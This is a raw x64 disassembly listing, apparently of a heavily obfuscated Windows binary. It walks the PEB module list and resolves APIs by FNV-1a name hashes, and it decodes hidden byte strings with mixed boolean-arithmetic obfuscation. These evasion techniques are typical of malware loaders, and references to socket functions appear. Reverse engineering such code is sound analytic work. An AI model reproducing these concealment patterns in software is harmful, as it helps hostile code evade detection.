call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
test rdx, rdx
jne 0x140148c2b
mov esi, r13d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140148b42
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140148b34
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140148b23
cmp r8d, esi
jne 0x140148c0f
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x140148c0f
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140148c0f
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x140148b96
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140148b8b
cmp edx, r14d
je 0x140148bac
test r9d, r9d
jne 0x140148b76
jmp 0x140148c0f
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, r11
cmp rdx, r10
jbe 0x140148c24
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140148c24
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140148bee
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140148be0
jmp 0x140148c03
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140148bf6
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140148c21
cmp qword [rdi + 0x30], r13
jne 0x140148af2
mov rdx, r13
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
test rdx, rdx
jne 0x140148d98
mov esi, r13d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140148caf
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140148ca1
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140148c90
cmp r8d, esi
jne 0x140148d7c
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x140148d7c
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140148d7c
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x140148d03
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140148cf8
cmp edx, r14d
je 0x140148d19
test r9d, r9d
jne 0x140148ce3
jmp 0x140148d7c
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, r11
cmp rdx, r10
jbe 0x140148d91
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140148d91
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140148d5b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140148d4d
jmp 0x140148d70
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140148d63
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140148d8e
cmp qword [rdi + 0x30], r13
jne 0x140148c5f
mov rdx, r13
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
test rdx, rdx
jne 0x140148f05
mov esi, r13d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140148e1c
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140148e0e
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140148dfd
cmp r8d, esi
jne 0x140148ee9
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x140148ee9
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140148ee9
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x140148e70
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140148e65
cmp edx, r14d
je 0x140148e86
test r9d, r9d
jne 0x140148e50
jmp 0x140148ee9
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, r11
cmp rdx, r10
jbe 0x140148efe
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140148efe
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140148ec8
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140148eba
jmp 0x140148edd
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140148ed0
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140148efb
cmp qword [rdi + 0x30], r13
jne 0x140148dcc
mov rdx, r13
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404fc138], r13
jne 0x140149071
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140148f86
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140148f78
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140148f67
cmp r8d, esi
jne 0x140149055
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x140149055
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140149055
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x140148fda
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140148fcf
cmp edx, r14d
je 0x140148ff0
test r9d, r9d
jne 0x140148fba
jmp 0x140149055
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r11
cmp r9, r10
jbe 0x14014906a
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x14014906a
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140149032
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x140149024
jmp 0x140149048
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x14014903b
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140149067
cmp qword [rdi + 0x30], r13
jne 0x140148f36
mov r9, r13
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x1401490e6
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
cmp rcx, rdx
je 0x1401490ce
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401490af
cmp r8d, 0x610c0de3
je 0x140149137
mov r9, qword [r9]
cmp r9, r10
je 0x1401490dc
cmp qword [r9 + 0x30], r13
jne 0x140149094
mov r8, r13
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r13d
mov r11d, dword [r10 + r8 + 0x20]
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r12
test al, al
je 0x140149132
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r12
test al, al
jne 0x140149116
cmp ecx, 0xe463da3c
je 0x14014913d
add r9d, r12d
jmp 0x1401490fa
mov r8, qword [r9 + 0x30]
jmp 0x1401490df
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x1401492cd
mov esi, r13d
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401491e1
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401491d3
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401491c2
cmp r8d, esi
jne 0x1401492b1
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x1401492b1
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401492b1
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140149235
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14014922a
cmp edx, r14d
je 0x14014924b
test r9d, r9d
jne 0x140149215
jmp 0x1401492b1
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x1401492c6
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x1401492c6
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401492a4
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x140149280
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x140149297
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401492c3
cmp qword [rdi + 0x30], r13
jne 0x140149191
mov r10, r13
mov qword [0x1404fba00], r10
lea r9, [rbp + 0x11b4]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x140149451
mov esi, r13d
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140149365
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140149357
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140149346
cmp r8d, esi
jne 0x140149435
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x140149435
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140149435
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x1401493b9
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401493ae
cmp edx, r14d
je 0x1401493cf
test r9d, r9d
jne 0x140149399
jmp 0x140149435
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, r11
cmp r8, r10
jbe 0x14014944a
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x14014944a
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x140149428
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x140149404
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x14014941b
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140149447
cmp qword [rdi + 0x30], r13
jne 0x140149315
mov r8, r13
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
lea rcx, [rbp + 0x1ca0]
call fcn.14008b590
mov byte [rbp + 0x40], 0xfe
mov byte [rbp + 0x41], Ordinal_50
mov byte [rbp + 0x42], Ordinal_200
mov byte [rbp + 0x43], 0x33
mov byte [rbp + 0x44], 0x34
mov byte [rbp + 0x45], 0xa9
xor eax, eax
mov qword [rbp + 0x46], rax
mov word [rbp + 0x4e], ax
mov bl, byte [rsp + 0x50]
movabs rsi, 0x1e3d3b18808e33ba
movabs r14, 0x79553d89c8c4782e
movabs r15, 0xe644ef5058e05440
movabs r12, 0xf45b168c546eb670
movabs r13, 0xe43402afcf6ee4e6
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor eax, eax
mov r11d, eax
cmp r11, 0x10
jae 0x140149d8d
movzx r8d, byte [rbp + r11 + 0x40]
mov r9, r8
cmp rdi, r11
ja 0x140149d84
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014951f
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
sub bl, 0x16
jmp 0x140149559
je 0x140149d08
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140149c85
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140149c4f
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140149c24
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140149bd4
cmp r10, r11
ja 0x140149d7b
lea rax, [r10 + 0x42]
cmp rdi, rax
jae 0x14014958d
movabs rcx, 0x7b05d9028baa3e42
add rcx, r11
mov al, r8b
and al, cl
mov edx, Ordinal_27
sub dl, al
add dl, dl
add dl, r8b
add dl, cl
jmp 0x1401495c3
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140149bc3
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140149ba3
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140149b8f
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140149b69
mov dl, bl
lea rax, [r10 + rdi]
cmp rax, r11
jbe 0x14014981d
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401497fc
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x1401497d6
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x1401497b0
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014978d
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140149779
lea rdi, [r10 + 0x400]
lea r10, [rdi + 5]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140149d61
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140149d3e
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x1401496b0
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x140149761
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 4]
lea rax, [r10 + 0x64]
cmp rdi, rax
ja 0x140149747
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140149726
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x140149705
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x1401496f7
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x1401496d6
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x1401495d0
lea rdi, [r10 + 1]
lea r10, [rdi + 0x28]
jmp 0x1401495d0
movabs rdx, 0xf24a29ebcafd4716
add rdx, r11
mov al, r8b
and al, dl
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401494f1
movabs rdx, 0xd82ec8145d51f210
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x140149bf3
lea rdx, [r11 + r15]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140149c61
movabs rdx, 0x6d5002ee56a78558
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x68
jmp 0x140149ca7
movabs rdx, 0x30d58cbd558b1de4
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3c
jmp 0x140149a4d
lea rcx, [r11 + r12]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x10
jmp 0x140149d25
lea rcx, [r11 + r13]
mov al, r8b
and al, cl
add al, al
mov dl, r8b
sub dl, al
sub dl, 0x4a
jmp 0x140149876
movabs rdx, 0xe223160f45fd758c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401498f7
movabs rcx, 0xf0393d4b418bd7bc
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x24
jmp 0x140149c70
movabs rdx, 0x774450e93f5308d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140149c42
movabs rdx, 0x3ac9dab83e36a160
add rdx, r11
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140149c1a
movabs rdx, 0xfe4f64873d1a39ec
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x74
jmp 0x140149bf3
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x1401498df
lea rcx, [r11 + rsi]
mov al, r8b
and al, cl
add al, al
mov dl, r8b
sub dl, al
sub dl, 0x16
add dl, cl
lea rax, [r10 + rdi]
cmp rax, 4
je 0x140149b43
lea rax, [r10 + 0x5a]
cmp rdi, rax
jbe 0x140149984
movabs rdx, 0x349714d6a1e25352
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x3e
add dl, cl
cmp rdi, 0x28
jae 0x140149af1
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x140149a54
movabs rdx, 0xaf9cedd92d8c9194
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0xc
add dl, cl
cmp r10, 0x20
jb 0x140149ae5
movabs rdx, 0xc658bc338a89c1c
add rdx, r11
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140149bf5
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014990e
movabs rdx, 0xf60bb20517547c84
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140149d25
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014993b
movabs rdx, 0x6f009e67198d4b6c
mov ecx, 6
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140149ca7
cmp rdi, rcx
jne 0x140149963
movabs rcx, 0xe7f58ac91bc61a54
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4c
jmp 0x140149c70
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14014983f
movabs rdx, 0xd9df638d2037b824
mov ecx, 2
jmp 0x140149be3
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401499ae
movabs rdx, 0x71118b07a2febac6
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
jmp 0x140149bf3
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401499cb
movabs rdx, 0xea067769a53789ae
mov ecx, Ordinal_32
jmp 0x1401497bf
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401499f7
movabs rcx, 0x9f75d9fca88cc00a
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x46
jmp 0x140149c73
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140149a21
movabs rdx, 0xdbf0502da9a9277e
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x72
jmp 0x140149ca7
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140149878
movabs rdx, 0x186ac65eaac58ef2
add rdx, r11
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140149cd6
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140149a80
movabs rcx, 0xec17640a2ea8f908
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x38
jmp 0x140149d25
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140149aa7
movabs rdx, 0x2891da3b2fc5607c
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x64
jmp 0x140149a4d
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140149ac4
movabs rdx, 0x650c506c30e1c7f0
mov ecx, Ordinal_60
jmp 0x140149926
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401498ad
movabs rdx, 0xcfeb1592378c34a8
mov ecx, 0x34
jmp 0x140149be3
mov byte [rbp + r11 + 0x40], dl
mov bl, dl
jmp 0x140149d31
movabs rcx, 0x48e001f439c50390
add rcx, r11
mov al, r8b
and al, cl
mov edx, 8
sub dl, al
add dl, dl
add dl, byte [rbp + r11 + 0x40]
add dl, r8b
add dl, cl
movabs rcx, 0x671d3d0cba53374a
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 6
add r8b, dl
add r8b, cl
mov byte [rbp + r11 + 0x40], r8b
mov bl, dl
jmp 0x140149c70
movabs rdx, 0x855a78253ae16b04
add rdx, r11
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r11 + 0x40]
sub bl, 0x1c
jmp 0x140149ca7
movabs rdx, 0xe5e49e289254aafa
add rdx, r11
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140149c73
movabs rdx, 0xa96a27f791384386
mov ecx, Ordinal_46
jmp 0x140149c5e
movabs rcx, 0xf3fac5648de30d2a
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x26
jmp 0x140149c1a
movabs rdx, 0xb7804f338cc6a5b6
mov ecx, 3
jmp 0x140149be3
movabs rdx, 0x3e8b62d18a8dd6ce
mov ecx, Ordinal_50
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0x2aa2c6dbb936cfd6
add rdx, r11
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r11 + 0x40], cl
mov eax, 1
add r10, rax
jmp 0x140149c47
movabs rcx, 0xc596766f885507e6
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4a
mov eax, 1
sub r11, rax
jmp 0x140149d36
movabs rdx, 0x4ca18a0d861c38fe
mov ecx, 7
add rdx, r11
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x140149d31
mov r8, r9
movabs rdx, 0xd3ac9dab83e36a16
add rdx, r11
mov al, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
movabs rcx, 0xa397b33dbb6f9ebe
add rcx, r11
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x32
add cl, r8b
movzx eax, cl
mov byte [rbp + r11 + 0x40], al
inc r10
add rax, r10
sub r11, rax
movabs rcx, 0xc1d4ee563bfdd278
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x48
add r8b, cl
mov byte [rbp + r11 + 0x40], r8b
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x140149d25
movabs rcx, 0x5ab7b14981aa9b2e
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x42
movzx eax, byte [rbp + r11 + 0x40]
add rax, r10
add r11, rax
mov eax, 1
add r11, rax
jmp 0x1401494e1
movabs rcx, 0xb5cfb3bac9e0dfa2
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6e
jmp 0x1401494dc
lea rcx, [r11 + r14]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x42
jmp 0x1401494cc
lea rcx, [rbp + 0x14ac138]
jmp 0x140149d91
lea rcx, [rbp + 0x118f4f2]
jmp 0x140149d91
lea rcx, [rbp + 0x40]
mov edx, 1
call fcn.1401a2d88
mov byte [rbp + 0x480], 0xfe
mov byte [rbp + 0x481], 0xb1
mov byte [rbp + 0x482], 0x87
mov byte [rbp + 0x483], 0xb3
mov byte [rbp + 0x484], 0xb4
